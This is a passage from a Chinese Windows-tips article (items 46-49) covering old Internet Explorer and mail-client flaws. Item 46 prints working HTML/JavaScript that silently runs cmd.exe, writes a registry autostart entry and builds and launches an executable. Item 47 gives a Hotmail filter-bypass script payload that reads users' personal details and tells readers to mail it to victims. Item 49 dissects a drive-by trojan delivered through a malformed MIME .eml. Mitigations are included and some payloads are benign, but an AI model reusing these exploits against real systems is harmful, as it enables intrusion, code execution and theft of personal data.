[会员中心]  [发布文章][发布软件]  [中文繁體]
 文章·资料  电脑软件  手机软件  网站源码
    本 站 搜 索
[选项]
   推 荐 文 章        More...
华硕易电脑(ASUS Eee PC 10..
先来段开场白:为了外出携带方便,..
Acronis True Image 使用..
  一款可以在Windows下使用全..
Norton Ghost 使用详解
一、分区备份   使用Ghost进..
    文 章 阅 读 排 行
Microsoft SQL Server 2000..
  对于第一次安装 Microsoft SQ..
ASP:Dimac W3 JMail 发送..
【发送邮件测试代码下载】压..
ASP:Persits ASPMail 发送..
【发送邮件测试代码下载】压..
VMware Workstation:安装..
编写这份虚拟机安装的图文教程,..
华硕易电脑(ASUS Eee PC 10..
先来段开场白:为了外出携带方便,..
ASP:Microsoft CDO 发送邮..
【发送邮件测试代码下载】压..
 文 章 信 息
Windows 注册表攻略(二、注册表修改实例:46-49)
评论()〗〖留言〗〖收藏
〖文章分类:电脑·手机·网络 / 电脑系统安装·设置·优化〗〖阅读选项

Windows 注册表攻略(二、注册表修改实例:46-49)

 

46、深入剖析通过嵌入ActiveXComponent执行ActiveX对象漏洞
受影响的系统:
所有Windows版本,IE4.0/IE5.0/IE5.01/IE5.5,OE,Outlook,Foxmail
    描述:
把com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记可能导致任意创建和解释执行ActiveX对象,从而可以创建任意文件,运行程序,写注册表。
    详细:
    对于IE,通过调用ActiveX对象可以进行很多功能强大的操作,如运行程序等。但在执行较危险的调用时都会有警告信息。如将下面这行代码加到一个HTML文件中,运行会提示:
“该网页上的某些软件(ActiveX控件)可能不安全。建议您不要运行。是否允许运行?”
<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh>
</OBJECT><SCRIPT>wsh.Run('cmd.exe');
//把'cmd.exe'改为'command.com'则对Windows 95/98/ME也有效,下同。
</SCRIPT>
    点击“确定”会打开一个命令提示符。
    同样使用这个OBJECT,嵌入com.ms.activeX.ActiveX
Component对象后,在IE的默认安全级别“中”状态下也同样可以运行。打开包含以下脚本的HTML文件也会运行一个命令提示符,但没有任何警告。甚至还可以使程序在后台运行。
<APPLET HEIGHT=0 WIDTH=0 code=
com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe');//改为"wsh.Run('cmd.exe',false,1);"则程序在后台隐藏运行
}
setTimeout('runcmd()',10);
</SCRIPT>
    还可以通过WSHShell对象运行任何程序、获取主机信息、读写注册表,甚至删除所有注册表项;通过FileSystem对象任意读写删除文件,等等。最近很多恶意网站都通过类似手段改写访问者的注册表,一些网页型病毒如著名的“万花谷”病毒也是采用了此方法。
    其实只要能使用Run执行cmd.exe,创建文件和写注册表都可以很容易地完成。下面就是一个用cmd.exe创建注册表脚本,并导入注册表的例子。

<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveX
Component></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo Windows Registry Editor Version
5.00>auto.reg',false,1);
wsh.Run('cmd.exe /c echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>auto.reg'
,false,1);
wsh.Run('cmd.exe /c echo @="cmd.exe">>auto.reg',false,1);
wsh.Run('cmd.exe /c regedit /s auto.reg',false,1);
wsh.Run('cmd.exe /c del auto.reg',false,1);
}
setTimeout('runcmd()',10);
</SCRIPT>
    值得一提的是通过巧妙的运用debug的输入重定向还可以创建二进制文件。下面的代码完全使用Run函数,用echo命令写文件。
<!---------code by tombkeeper@126.com---------->
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveX
Component></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo a>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854
7369 7020 6f72 7267 6d61 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e
4f44 2053 6f6d 6564 d2e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619
8873 7619 8873 761e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0
0 0 0 4550 0 14c 2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 56f3 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0
0 1000 0 1000 0 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 40 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200
0 0 0 2 0 0 10 1000 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 10 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 2000 0 10 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0
200 0 200 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 20 6000 722e 6164 6174 0 92 0 2000 0 200 0 400
0 0 0 0 0 0 0 40 4000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632
632e 6d6f d500 d6e2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw cabb b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0
bace cece baa3 a1a6 a3 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6a 268 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0
25ff 2008 40 25ff 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 2076 0 0 0 205c 0 0 0 2054 0 0 0 0 0 206a
0 2008 0 204c 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 2084 0 2000 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0
205c 0 0 0 1bb 654d >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 7373 6761 4265 786f 41 5355 5245 3233 642e 6c6c
0 75 7845 7469 7250 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 636f 7365 73 454b 4e52 4c45 3233 642e 6c6c 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo. >>test.dbg',false,1);//写一个空行,Windows NT/2K
可以这样写,Windows 95/98/ME未测试
wsh.Run('cmd.exe /c echo rcx >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo 600 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo ntest.ext >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo w >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo q >>test.dbg',false,1);
wsh.Run('cmd.exe /c debug<test.dbg',false,1);
wsh.Run('cmd.exe /c ren test.ext test.exe',false,1);//更名
wsh.Run('cmd.exe /c del test.dbg',false,1);
wsh.Run('test.exe');
}
setTimeout('runcmd()',1);
document.write('<p>这只是个测试页面,所包含的可执行程序无任何危害。<p>by
tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->
    由于debug本身的限制,只能创建小于64K的文件,但可以把较大的文件分割成几部分,分别创建后,再用"copy file1+file2 fileAll"命令合并。用这种方法可以
    创建任意大小的二进制文件。下面所创建的文件虽然和上面的一样只有1536字节,我
们也使用一下这种方法。这里用WriteLine写文件。
<!---------code by tombkeeper@126.com---------->
<Applet HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var f1dbg='f1.dbg';
var f2dbg='f2.dbg';
var f1ext='f1.ext';
var f2ext='f2.ext';
var wf1=fso.CreateTextFile(f1dbg,true);
var wf2=fso.CreateTextFile(f2dbg,true);
wf1.WriteLine('a');
wf1.WriteLine('dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf1.WriteLine('dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854 7369 7020 6f72
7267 6d61');
wf1.WriteLine('dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e 4f44 2053
6f6d 6564 d2e');
wf1.WriteLine('dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619 8873 7619
8873 761e');
wf1.WriteLine('dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0 0 0 0 4550
0 14c 2 56f3');
wf1.WriteLine('dw 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0 0 1000 0 1000 0
2000 0 0 40');
wf1.WriteLine('dw 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200 0 0 0 2 0 0 10
1000 0 0 10');
wf1.WriteLine('dw 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2000 0 10
0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0 200 0 200 0 0 0
0 0 0 0 20');
wf1.WriteLine('dw 6000 722e 6164 6174 0 92 0 2000 0 200 0 400 0 0 0 0 0 0 0
40 4000 0 0');
wf1.WriteLine('dw 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632 632e 6d6f d500
d6e2 cabb');
wf1.WriteLine('dw b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0 bace cece baa3
a1a6 a3 6a 268');
wf1.WriteLine('dw 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0 25ff 2008 40 25ff
2000 40 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteBlankLines(1);//写一个空行
wf1.WriteLine('rcx');
wf1.WriteLine('390');
wf1.WriteLine('n'+f1ext);
wf1.WriteLine('w');
wf1.WriteLine('q');
wf1.Close();
//第一部分写完
wf2.WriteLine('a');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0 205c
0 0 0 2054');
wf2.WriteLine('dw 0 0 0 0 0 206a 0 2008 0 204c 0 0 0 0 0 2084 0 2000 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 2076 0 0 0 205c 0 0 0 1bb 654d 7373 6761 4265 786f 41
5355 5245');
wf2.WriteLine('dw 3233 642e 6c6c 0 75 7845 7469 7250 636f 7365 73 454b 4e52
4c45 3233');
wf2.WriteLine('dw 642e 6c6c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteBlankLines(1);//写一个空行
wf2.WriteLine('rcx');
wf2.WriteLine('270');
wf2.WriteLine('n'+f2ext);
wf2.WriteLine('w');
wf2.WriteLine('q');
wf2.Close();
//第二部分写完
wsh.Run('cmd.exe /c debug <'+f1dbg,false,1);
wsh.Run('cmd.exe /c debug <'+f2dbg,false,1);
wsh.Run('cmd.exe /c copy '+f1ext+'+'+f2ext+' fileall.exe',false,1);//合并
fso.GetFile(f1dbg).Delete();// fso.GetFile(f2dbg).Delete();//----- \ 删除四个
fso.GetFile(f1ext).Delete();//----- / 临时文件
fso.GetFile(f2ext).Delete();// /
wsh.Run('fileall.exe');
}
setTimeout('runcmd()',10);
document.write('<p>这只是个测试页面,所包含的可执行程序无任何危害。<p>by
tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->
    由于Outlook、Outlook Express、Foxmail等邮件客户端显示HTML邮件时也是调用IE的库,所以这个问题也会影响这一类程序。
    解决方案:
    该问题目前尚无任何可用的官方补丁,建议:
    1、在IE的“internet选项”中的“安全”项中把“安全级别”设为“高”,或在“自 定义级别”中把“对标记为可安全执行的ActiveX控件执行脚本”标记为“禁用”。 注意:此措施仅对WEB上的代码有效,对于本地文件和HTML格式的邮件无效(邮件也是本地文件)。
    2、删除一些危险的对象,从根本上解决问题。这些对象对普通用户是没什么用的。
    1)禁用WSHShell对象,阻止运行程序。
删除或更名系统文件夹中的wshom.ocx
或删除注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58
A0B}
    2)禁用FileSystem对象,阻止读写文件。
删除或更名系统文件夹中的scrrun.dll
或删除注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054
228}
    把下面一段代码保存为delobj.vbs,运行后可自动删除WSHShell和FileSystem对象。
;-----------delobj.vbscodebytombkeeper@126.com-----------
text1 = "此脚本将删除注册表中的WSHShell对象和FileSystem对象。"
text2 = "这些对象对普通用户并没有用处,而删除他们可以增强系统的安全性,"
text3 = "阻止大多数通过浏览器以及电子邮件带来的安全问题,"
text4 = "包括恶意网页对IE标题栏的修改等。建议在删除之前先备份注册表。"
Alarm_ =" "& text1 & text2 & text3 & text4
Title_ = "code by tombkeeper@126.com"
Call Start()

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Popup "删除WSHShell对象"
WSHShell.RegDelete
"HKLM\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"
WSHShell.Popup "删除FileSystem对象"
WSHShell.RegDelete
"HKLM\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}"
Sub Start()
Dim intDoIt
intDoIt = MsgBox(Alarm_, _
vbOKCancel + vbInformation, _
Title_ )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
'---------------------------end--------------------------
附录1 文中使用的可执行程序源代码:

;------------code by tombkeeper@126.com-------------
.386
.model flat, stdcall
option casemap :none ; case sensitive
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.code
start:
jmp @F
szDlgTitle db "tombkeeper@126.com",0
szMsg db "这只是个测试,不会有任何危害。",0
@@:
push MB_OK
push offset szDlgTitle
push offset szMsg
push 0
call MessageBox
push 0
call ExitProcess
end start
;-----------------------end------------------------
附录2 文中提到的debug命令
a 汇编命令,将汇编语句直接装配到存储器中
r 寄存器命令,显示和设置寄存器AX、BX、CX、DX等
n 命名命令
w 写命令,将指定数据写到磁盘上
q 退出
命令和参数间可以不加空格,如rcx就是r cx,nfile.ext就是n file.ext。需要注意的是debug为了应用程序的安全,不能直接写扩展名为exe的文件,这也就是要先命名为test.ext再rename为test.exe的原因。

 


47、通过在html嵌入javascript逃避hotmail过滤检查获得用户信息

   最初在去年,Bart van Arnhem(他的绰号Oblivion)发现了利用嵌入javascript 代码躲避精心制作图像标签可能性。
利用这种技术,一个荷兰人可以通过转向到一个虚假的hotmail达到获得用户口令.
事实上微软一直通过过滤javascript,来达到保护网上的电子邮件服务的用户,似乎从98年就开始了
van Arnhem认为 hotmail仅仅过滤第一个javascript
而他的技术是采用两个地址嵌如在javascript代码中,利用了html的叫style attribute的命令.所以是成功的;
关于这个漏洞的描述参考:
http://www.securityfocus.com/archive/82/221805
-----------------------
如下所示:
<img src="javascript:bla" style="image1-background:
url('javascript: bla'); image2-backgroun:
url('javascript:alert%28test%29')">
----
javascript:bla过滤将变成javascript:Filtered()
image1-background: url('javascript:bla')过滤变成
image1-background: url(non-'javascript:bla'
这样不能被执行
问题在于这里
第二个图象地址
image2-backgroun:
url('javascript:alert%28test%29')不在会被hotmail过滤掉,
%28/%29 <--转化-->( / )
正好被逃避了
Some things you can do with this bug:
1 这样从新通过地址转向到一个虚假的hotmail,让用户重新输入密码etc..
2 获得 cookies 个人信息etc....
------------------
下面是作者提供的测试代码
--------cut here-------
<IMG src="javascript:bla"
style="background-image:url('javascript:alert%28%27bli%27%29');
background-image:url('javascript:document.all[61].src=document.location.href.replace%28%22getmsg%22,
%22person%22%29.substring%28%220%22,document.location.href.indexOf%28%22%26msg%22%29%29;
function
bla() { alert%28%22Name=%22 +
 window.frames[0].personalinfo.xfname.value
+ %22%20%22 + window.frames[0].personalinfo.xlname.value +
%22\nCountry=%22 +
window.frames[0].personalinfo.xcountry[window.frames[0].personalinfo.xcountry.selectedIndex].
text + %22\nProvince=%22 +
window.frames[0].personalinfo.xgeoid[window.frames[0].personalinfo.xgeoid.selectedIndex].text
+ %22\nPostalcode=%22 +
 window.frames[0].personalinfo.xzip.value +
%22\nMale=%22 +
 window.frames[0].personalinfo.xgender[0].checked +
%22\nFemale=%22 +
 window.frames[0].personalinfo.xgender[1].checked +
%22\nBirthday=%22 +
 window.frames[0].personalinfo.day.value + %22%20%22
+
window.frames[0].personalinfo.month[window.frames[0].personalinfo.month.selectedIndex].text%29;
};setTimeout%28%27bla()%27,4000%29;')">
-------cut here--------
将这代码加入到html中,以网页形式
通过hotmail发给要攻击的用户,当他打开这个邮件的时候,用户的个人信息将被你获得。

 


48、写网页病毒很容易

Windows Scripting Host Object Reference--罪魁祸首?
Windows Scripting Host Object Reference,以下简称Wsh.在windows 9x的默认安装时都有的,我发现绝大多数上网用户都没有卸载它。
    我从来没想到利用Wsh结合javascript能写出如此厉害的网页病毒来。先说说我写这文章的来由:
    我的一个朋友在访问重庆吻网(www.cqkiss.com)后,他以后每次启动机器在登陆对话框出现之前都会出现欢迎光临重庆吻网(www.cqkiss.com)的字样,由于平时对注册表的东西留意得比较多,我知道肯定是在注册表里改了什么设置。
    由网页可以直接操纵注册表?我感到疑惑,但经过我的研究发现,事实上确实可以。通过我的研究发现,Wsh的功能非常吓人,我们可以写出特定的页面,你在访问它之后可能出现如下后果:
1、删除你硬盘上的指定文件,创建和修改文本文件,autoexec.bat是文本文件吧。我作了试验,确实可以修改它。
2、执行操作系统允许的任意程序;
3、把你的C盘设置为完全共享,然后别人可以在你的机器上安置木马。我在所举出的网页例子中,就实现了设置C盘为隐含的完全共享的功能。由于你的网站只涉及到注册表的操作,因此我在所举出的例子中就只包含了这一部分。别的如1和2所述的功能实现就不给出。
MSDN上关于wsh对注册表的操作说明:
The following table describes the methods associated with the WshShell object.
Method Description RegDelete --->Deletes a specified key or value from the registry.
RegRead --> Returns a specified key or value from the registry.
RegWrite --> Sets a specified key or value in the registry.
    更详细的说明请自己参照MSDN上的说明
    在下面的网页代码例子中,我只尝试了RegWrite和RegDelete两种方法的使用。
网页代码的例子:
(注:/*...*/内的文字是我的说明,在实际的网页代码中应去掉。当然它的功能实现需要wsh的支持)
/*index.htm文件内容如下:*/
/*这一行好象必须要,意思不太明了*/
    为你作了一件好事--你现在可以使用Regedit.exe了。
    同时作了一件更大的坏事--把你的C盘完全共享了,请参照源代码消除它好了。
     如果你在上网前关掉了Windows script host,那么这个网页代码不会起作用。呵呵........
    由此看来,上网真是一件很危险的事情?所以,我在上网前就先把那个Wsh给卸载掉了,就是在控制面板里选择“添加/删除程序”,再选择"windows安装程序"里的附件,再选择“详细资料”中的Windows Scripting Host,把它卸载掉就不用担心它来害你了,不过你作的网页上也不允许害别人哟。
    你如果嫌麻烦就直接把c:\windows目录底下的一个叫Wshom.ocx的文件改名好了,我就是把它改为Wshom.ocx.old的。

 

49、当心!浏览网页也会中木马

如果我对你说浏览网页也会感染木马,你相信吗?
  其实,这已经不是相信不相信的问题了,在半年前就有人使用这种技术来使人中招了!最近听说有人在浏览某个网站时中招,因此去那里看了看,在网页打开的过程中,鼠标奇怪的变成沙漏形状,看来的确是有程序在运行。打开计算机的任务管理器,可以看到多了一个wincfg.exe的进程。进程对应的文件在win2000下是c:\winnt\wincfg.exe,在win98下为c:\windows\wincfg.exe。运行注册表编辑器regedit,在HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\CurrentVersion\Run发现wincfg.exe,哈哈,原来它将自己登记在注册表开机启动项中,这样每次开机都会自动运行wincfg.exe!
  注:给你下套的人可以自己设定这个木马的启动键名和注册文件名,注册文件名也就是运行时进程里的名称,因此大家看到的结果可能不相同。
  运行金山毒霸,报告发现“backdoor bnlite”,哦,原来是木马bnlite服务端改名为wincfg.exe。别看这个木马服务端程序不大(只有6.5K),但它的功能可不少:具有ICQ通报功能、远程删除服务端功能、设定端口和运行名称、IP报信(报告服务端所在的IP地址)、上传下载……如果你中了该木马,那么木马控制端所在完全可以通过这个木马在你的电脑上建立一个隐藏的ftp服务,这样别人就有全部权限进入你的电脑了!控制你的电脑将非常容易!
  让我感兴趣的是,木马是如何下载到浏览了该主页的用户的计算机中、并运行起来的。在IE中点击“工具”→“Internet选项”→“安全”→“自定义安全级别”,将ActiveX相关选项全部都禁用,再浏览该网页,wincfg.exe还是下载并运行了!看来和ActiveX无关。在“自定义安全级别”中有关文件下载的选项都禁止,再浏览该网页,哈哈!这回wincfg.exe不再下载了。
  我们来看看wincfg.exe是如何下载到浏览者计算机上的,在该网页上点击鼠标右键,选择其中的“查看源代码”,在网页代码最后面发现了可疑的一句:
IFRAME src="wincfg.eml" width=1 height=1
  注意到其中的“wincfg.eml”了吗?大家都知道eml为邮件格式,网页中要eml文件干什么呢?非常可疑!再次浏览该网页,再看看任务管理器,wincfg.exe进程又回来了,原来问题就在这个文件上!既然问题在这文件上,当然想办法搞到这个文件看看了。用蚂蚁把文件下载下来,鼠标刚点上去,wincfg.exe又被执行了,真是阴魂不散啊!
    打开a.eml,发现其内容如下:
From: "xxx" To: "xxx" Subject: xxxx
Date: Tue, 7 Apr 2001 15:16:57 +800
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable
HTML>
HEAD>
/HEAD>
BODY bgColor=3D#ffffff>
iframe src=3Dcid:THE-CID height=3D0 width=3D0>
/BODY>
--2--
--1
Content-Type: audio/x-wav;
name="wincfg.exe"
Content-Transfer-Encoding: base64
Content-ID:
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4
gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAIh3BDsAAAAAAAAAAOAADwELAQQUAC
AAAAAQAAAAkAAAIL0AAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADQA
AAAEAAAAAA……(以下删掉一大节)
--1
   你看到的类似“TVqQAAMAAAAEAAAA//8AAL”这样的字符,就是wincfg.exe经过base64编码的内容。上面这些代码中,关键的是下面这一段:
Content-Type: audio/x-wav;
name="wincfg.exe"
Content-Transfer-Encoding: base64
Content-ID:
  其中,name="wincfg.exe"这一句定义了文件名称,在此为wincfg.exe。 而这一句:Content-Transfer-Encoding: base64则定义了代码格式为base64。
  从这句Content-ID: 开始才是代码的起步,
“TVqQAAMAAAAEAAAA//8AAL”等为wincfg.exe文件的BASE64方式编码,这个以BASE64方式编码的文件会反编译成wincfg.exe文件并运行。这就是浏览该网页会中木马的原因!到此我就明白了,其实,所谓的浏览网页会中木马,只是网页制作者利用了微软IE浏览器中存在的漏洞进行攻击的一个案例而已,说白了就是利用了错误的MIME头进行攻击。
  1.MIME简介
  MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网际邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:e-mail,usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或text/plain)。
  2.错误的MIME头漏洞的发现
